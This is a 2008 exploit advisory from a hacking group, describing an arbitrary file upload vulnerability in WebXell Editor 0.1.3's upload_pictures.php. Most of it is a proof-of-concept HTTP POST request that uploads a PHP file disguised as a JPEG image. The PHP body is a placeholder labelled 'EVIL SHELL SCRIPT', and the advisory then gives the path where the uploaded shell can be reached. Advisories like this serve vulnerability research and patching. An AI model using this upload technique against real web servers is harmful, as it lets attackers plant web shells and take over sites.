webxell-upload.txt

`===========================================================================  
WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability  
===========================================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 7 July 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : WebXell Editor  
VERSION : 0.1.3  
VENDOR : N/A  
DOWNLOAD : http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip  
#####################################################  
  
--- Arbitrary File Upload ---  
  
This Vulnerability can upload malicious files direct to web server.  
Use Web proxy (Webscarab,etc..) to intercept data.  
  
[+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php  
  
[-] POC Exploit:  
  
POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1  
Host: 192.168.24.25  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://192.168.24.25/webxell/index.php?file=test.xml  
Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f  
Content-Type: multipart/form-data; boundary=---------------------------278151583918669  
Content-length: 241  
  
-----------------------------278151583918669  
Content-Disposition: form-data; name="updFile"; filename="phpbug.php"  
Content-Type: img/jpeg  
  
<?php  
EVIL SHELL SCRIPT  
?>  
-----------------------------278151583918669--  
  
  
[+] Shell Script: ***You can intercept file's name with Web proxy that tell the real name***  
  
[-] Position: http://[target]/[webxell_path]/upload/[Evil_File]  
  
  
##################################################################  
Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
##################################################################  
`